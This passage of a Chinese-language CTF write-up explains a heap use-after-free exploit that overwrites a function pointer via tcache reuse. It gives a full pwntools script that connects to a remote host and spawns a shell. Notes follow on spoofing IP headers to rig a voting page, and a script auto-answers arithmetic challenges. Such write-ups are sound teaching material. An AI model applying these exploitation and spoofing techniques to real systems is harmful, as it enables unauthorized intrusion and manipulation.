size(4 bytes),content_ptr(8 bytes),print_func_ptr(8 bytes)。
- Edit Note: 修改指定 index 的 Note 内容。
- Delete Note: 释放 Note 的结构体和内容 chunk。
- View Note: 调用结构体中的
print_func_ptr函数指针来打印内容。默认函数是default_print。
3. 漏洞点 (Vulnerability)
在 delete_note 函数中,虽然调用了 free 释放了堆块,但是没有将全局数组 notes 中的指针置空 (NULL)。
这导致了一个 Use-After-Free (UAF) 漏洞。我们可以继续对已经释放的 Note 进行 Edit 和 View 操作。
我们的目标是劫持程序的控制流。由于程序中存在一个后门函数 win (地址 0x401236),我们只需要想办法调用它即可。
Note 结构体中有一个函数指针 print_func,在 View Note 时会被调用。利用 UAF 和堆内存布局的特性,我们可以覆盖这个指针。
步骤 1: 堆布局 (Heap Layout)
我们利用 glibc 的 Tcache 机制。Tcache 是后进先出 (LIFO) 的。
-
申请两个 Note (Note 0, Note 1):
- 内容大小设为
0x38,这样内容 chunk 的大小为0x40。 - 结构体 chunk 固定为
0x20(malloc 0x18)。
- 内容大小设为
-
释放这两个 Note:
- 此时 Tcache (0x20) 链表:
Struct_1 -> Struct_0 - 此时 Tcache (0x40) 链表:
Content_1 -> Content_0 notes[0]仍然指向Struct_0(悬挂指针)。
- 此时 Tcache (0x20) 链表:
-
申请一个新的 Note (Note 2):
- 我们申请内容大小为
0x18(即内容 chunk 大小为0x20)。 - 系统首先申请结构体 (0x20): 从 Tcache (0x20) 拿走
Struct_1。 - 系统接着申请内容 (0x20): 从 Tcache (0x20) 拿走
Struct_0。 - 关键点: Note 2 的内容 chunk 现在正好占据了原 Note 0 的结构体 chunk 的内存位置!
- 我们申请内容大小为
步骤 2: 篡改函数指针 (Overwriting Function Pointer)
由于 Note 2 的内容就是 Note 0 的结构体,我们可以通过 Edit Note 2 来修改 Note 0 的结构体数据。
Note 结构体布局:
- Offset 0x00: Size
- Offset 0x08: Content Pointer
- Offset 0x10: Print Function Pointer
我们构造 payload:
- 填充前 16 字节 (0x10 bytes)。
- 写入
win函数的地址 (0x401236) 到偏移 0x10 处。
步骤 3: 触发后门 (Triggering Win)
调用 View Note 0。
程序会尝试读取 notes[0] (即 Struct_0),并调用其中的函数指针。由于我们已经将其修改为 win 函数地址,程序将执行 win(),从而获得 shell。
exp
from pwn import *
# 配置context.arch = 'amd64'win_addr = 0x401236
# 连接远程io = remote('150.138.81.18', 12458)
def create_note(size, content): io.sendlineafter(b'Choice: ', b'1') io.sendlineafter(b'Size: ', str(size).encode()) io.sendafter(b'Content: ', content)
def edit_note(index, content): io.sendlineafter(b'Choice: ', b'2') io.sendlineafter(b'Index: ', str(index).encode()) io.sendafter(b'New content: ', content)
def delete_note(index): io.sendlineafter(b'Choice: ', b'3') io.sendlineafter(b'Index: ', str(index).encode())
def view_note(index): io.sendlineafter(b'Choice: ', b'4') io.sendlineafter(b'Index: ', str(index).encode())
log.info("=== 开始利用 ===")
# 1. 申请两个 Note,内容大小为 0x38 (对应 0x40 的 chunk)# 结构体 chunk 总是 0x20log.info("创建 Note 0 和 Note 1")create_note(0x38, b'A'*0x38)create_note(0x38, b'B'*0x38)
# 2. 释放它们,填入 Tcachelog.info("删除 Note 0 和 Note 1")delete_note(0)delete_note(1)
# 3. 申请 Note 2,内容大小为 0x18 (对应 0x20 的 chunk)# Malloc(Struct 0x18) -> 取出原 Struct_1# Malloc(Content 0x18) -> 取出原 Struct_0# 此时:Note 2 的 Content 指向了 Note 0 的 Structlog.info("创建 Note 2,使其内容覆盖 Note 0 的结构体")create_note(0x18, b'C'*0x18)
# 4. 编辑 Note 2,覆盖 Note 0 结构体中的函数指针# 结构体偏移 0x10 处是函数指针log.info("篡改 Note 0 的函数指针为 win 函数地址")payload = b'A'*16 + p64(win_addr)edit_note(2, payload)
# 5. 查看 Note 0,触发被篡改的函数指针log.info("触发 View Note 0 -> 执行 win()")view_note(0)
# 发送 shell 命令并获取 flagio.sendline(b'cat flag')io.recvuntil(b'HSCCTF')flag = b'HSCCTF' + io.recvline()log.success(f"Flag obtained: {flag.decode().strip()}")
io.interactive()MISC
Harris
这道题怪怪的
- 初始票数 : 哈里斯 0 票,特朗普 0 票,我点了一下特朗普。
- 倒计时 : 页面底部有一个倒计时。
- 逻辑推测 : 题目可能要求我们改变投票结果,或者等待选举结束查看结果。 2. 尝试过程 (Attempts) 我们首先尝试通过脚本进行投票,试图增加哈里斯的票数来逆转结果:
- 常规投票 : 发送 GET /vote/person1 ,服务器返回 302 跳转回主页,但票数未增加。
- IP 伪造 : 猜测后端可能有 IP 限制(即每个 IP 只能投一票),我们在 HTTP 头中添加了 X-Forwarded-For , Client-IP 等字段并使用随机 IP 进行爆破。
- 并发攻击 : 尝试使用多线程并发请求。
- 其他尝试 : 修改 User-Agent、Cookie 等。 结果 : 所有投票尝试均未改变票数(始终保持 0:1)。这可能意味着投票功能被服务端禁用,或者是假的接口,亦或是不仅验证 IP 还验证了其他复杂的指纹(或者仅仅是设定好的剧情)。
但是怪怪的我没看出来就放了一会 ,再回来刷新一下就有flag了,怀疑是服务器后端逻辑判断时间已到 ( remainingTime <= 0 ),且特朗普票数 (1) > 哈里斯票数 (0),输出胜利页面及 Flag。

CALC
做出500道数学题 exp
from pwn import *import reimport time
HOST = '150.138.81.18'PORT = 12903
context.log_level = 'info' # Switch back to info to reduce noise, or debug if needed
def solve(): while True: try: log.info(f"Connecting to {HOST}:{PORT}...") r = remote(HOST, PORT, timeout=10) break except Exception as e: log.warning(f"Connection failed: {e}") time.sleep(2)
buffer = "" count = 0
while True: try: data = r.recv(timeout=5) if not data: if not r.connected(): log.info("Connection closed.") break continue
buffer += data.decode(errors='ignore')
# Check for flag pattern specifically if "flag{" in buffer.lower() or "ctf{" in buffer.lower(): print("\n[+] Found potential flag!") print(buffer) try: print(r.recvall(timeout=2).decode(errors='ignore')) except: pass return
while "?" in buffer: q_idx = buffer.find('?') current_chunk = buffer[:q_idx+1]
match = re.search(r'(\d+)\s*([+\-*/])\s*(\d+)\s*=\s*\?', current_chunk)
if match: num1, op, num2 = match.groups()
ans = 0 if op == '/': ans = int(int(num1) // int(num2)) elif op == '+': ans = int(num1) + int(num2) elif op == '-': ans = int(num1) - int(num2) elif op == '*': ans = int(num1) * int(num2)
count += 1 if count % 10 == 0: log.info(f"Answered {count} questions...")
r.sendline(str(ans).encode())
buffer = buffer[q_idx+1:] else: # Discard up to '?' if no equation found (e.g. welcome message part) buffer = buffer[q_idx+1:]
except KeyboardInterrupt: log.info("Interrupted") break except EOFError: log.info("EOF") break except Exception as e: log.error(f"Error: {e}") break
r.close()
if __name__ == "__main__": solve()Sign_in

Signin_WhoRwe

Hidden bullet comments
翻弹幕 有点hyw
